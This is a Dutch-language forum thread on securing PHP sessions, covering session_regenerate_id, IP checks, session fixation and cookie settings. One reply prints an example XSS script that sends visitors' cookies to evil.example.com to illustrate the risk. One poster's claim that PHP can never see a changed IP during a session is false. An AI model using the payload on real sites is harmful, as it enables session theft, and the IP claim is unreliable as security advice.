session regenerate id, hoe kun je er mee werken?

[gebruiker78]

Hallo,
ik ben al een hele tijd bezig met mijn kleine social network.
maar ik merk dat ik alles maar dan ook alles doe via session's bijv. update waar user = session.
dus moet ik mijn sessions heel goed beveiligen maar ik heb het gedeelte van session regenerate id nooit begrepen.
ik gebruik wel ip check (als ip nogsteeds zelfde is als ingelogd). ik lees dat dat al een grote stap is maar ik doe iets wel grootschalig dus wil ik 1 session maken bij het inloggen die ik dan session regenerate id zodat bij het inloggen niks meer fout kan gaan.

alleen hoe kan ik dat nuttig maken?
want van mijn ip snap ik het (snel getypt zitten foute in maar gaat om idee)

$_SESSION['ip'] = remote (ding);
$ipcheck = $_SESSION['ip'];
if(ip == $ipcheck){
// goed ingelogd
}

dat snap ik want ik check steeds of het ip hetzelfde is, maar hoe check ik een session regenerate id want die is steeds anders?

dus als ik bij het inloggen z'n session id maak en dan gelijk regenerate hoe check ik dan elke pagina of het goed is?

 

[Dinux]

ik gebruik wel ip check (als ip nogsteeds zelfde is als ingelogd). ik lees dat dat al een grote stap is maar ik doe iets wel grootschalig dus wil ik 1 session maken bij het inloggen die ik dan session regenerate id zodat bij het inloggen niks meer fout kan gaan.

Dit heb je duidelijk ergens gelezen aangezien je niet beseft dat je ip check nergens op slaat voor jou opstelling. Er vanuit gaand dat je de ingelogde gebruiker (of object) opslaat in een session en die session niet vult vanuit een cookie. Sessions hebben een maximale leeftijd tot wanneer de verbinding (dus browser of tabje) gesloten wordt. Een ip check uitvoeren in de tijd dat de verbinding 'alive' is heeft totaal geen zin omdat PHP (via de normale configuratie) gebruik maakt van het bovenste ip laag. Wordt een ip adres dus veranderd in de tijd dat de session nog bestaat dan zou de webserver direct de vorige connectie (dus de verbinding uit session) sluiten omdat de verbinding niet meer 'alive' is. PHP zal dus nooit een ander ip ontvangen wanneer een session actief is, gewoon omdat de webserver de verbinding dan al heeft verbroken, dit is een standaard beveiliging in webservers. Dit ligt anders wanneer er gebruik wordt gemaakt van HTTP over UDP (HTTPU maar dan spreken we ook niet over een webserver), maar ik weet voor 99.999% zeker dat dat hier niet het geval is.
Kortom: ip check in de session tijd is een nutteloze optie, mochten mensen hier anders over denken dan hoor ik het graag...

Over de token die je wilt opslaan, dat kan je in een database doen maar een cookie werkt ook goed genoeg.

 

[gebruiker78]

sorry dat het zo lang duurde om te reageren
maar ik denk dat ik met deze 4 sessie's een eind kom?
een id (die gemaakt word door pc)
gebruikers id (zie die als gebruikers naam)
database id (leg ik hieronder uit)
ip

1. id gewoon omdat het kan
2. het id van de gebruiker (soort van gebruikersnaam)
3. Ik maak een random en op tijd gebaseerde code aan en zet ik in de database (en maak een session met dezelfde code) ik check steeds of die wel in de database voorkomt en dan dat hij 2uur geupdate word en na 2 uur verwijdert word. (dit is dus jij/u verhaal en is dit dus wel veilig)
4. ip adress want je kan er toch een klein beetje wat mee verkomen:
bij supersnailHet gebruik van sessies kent inderdaad een risico: session hijacking. Hierbij komt een aanvaller het session id te weten. Deze aanvaller kan dan een bestaande sessie overnemen door dat session id in een cookie te stoppen en dat naar de server te sturen.

Dit wordt meestal tegengegaan door te controleren of het IP adres (en evt. ook de user agent) gelijk is aan dat van degene die oorspronkelijk inlogde.

 

[thadin]

meerdere ids en tokens voegen nauwelijks wat toe.
Stel gewoon de carbage collection voor je sessies goed in.

session_regenerate_id gebruik je voornamelijk wanneer iemands zijn level veranderd (in/uit-logt).
Dit is zodat de oude verwijderd wordt maar vooral dat er een nieuw id wordt gebruikt

Zie bijvoorbeeld deze situatie: gebruiker klikt ziet een link op een andere website richting jouw website; deze bevat echter een sessie id (http://example.com?PHPSESSID=34kfjdlakjlk3j4lkfj)
php zal standaard deze sessie overnemen en gebruiken als sessie id van de gebruiker.
Zie session.use_trans_sid en session.use_only_cookies

En wanneer jij je user input slecht escaped; is het mogelijk dat een kwaadwillend person een variant van de volgende code op jouw website plaatst
<script>location="http://evil.example.com/?cookie="+document.cookie;</script>
Hiermee heeft die persoon de cookies voor jouw website van elke bezoeker die de code uitvoert.
Zie: session.cookie_httponly en htmlentities()

 

[Dinux]

Het gebruik van sessies kent inderdaad een risico: session hijacking. Hierbij komt een aanvaller het session id te weten. Deze aanvaller kan dan een bestaande sessie overnemen door dat session id in een cookie te stoppen en dat naar de server te sturen.

Dit wordt meestal tegengegaan door te controleren of het IP adres (en evt. ook de user agent) gelijk is aan dat van degene die oorspronkelijk inlogde.

lees mijn eerste bericht:

Er vanuit gaand dat je de ingelogde gebruiker (of object) opslaat in een session en die session niet vult vanuit een cookie

 

[thadin]

@Dinux; je zult sowieso een sessieid bij de bezoeker moeten opslaan; anders gaat het natuurlijk niet werken.
Cookie is dan wel de enige oplossing.
(als je zelf iets omslachtigs verzint wordt het alleen maar onveiliger door in de meeste gevallen)

 

[Dinux]

Natuurlijk moet de session een id hebben en die komt in een cookie, maar zoals ik (en jij zelf ook) al aangeeft zal daar geen probleem ontstaan wanneer de parser goed is geconfigureerd. Ik had het meer over bijvoorbeeld een userid in zowel een session als een cookie opslaan. De session wordt gebruikt wanneer de php session id nog actief is en de cookie voor de volgende keer, dit voorkomt dat je steeds opnieuw moet inloggen. Onder andere Google doet zoiets voor zijn Gmail gebruikers. Dit is alleen mogelijk wanneer je de webserver en zijn configuratie hier op afsteld anders leidt dit sowieso tot problemen. Ik heb veel mensen dit verkeerd zien doen ik het verleden.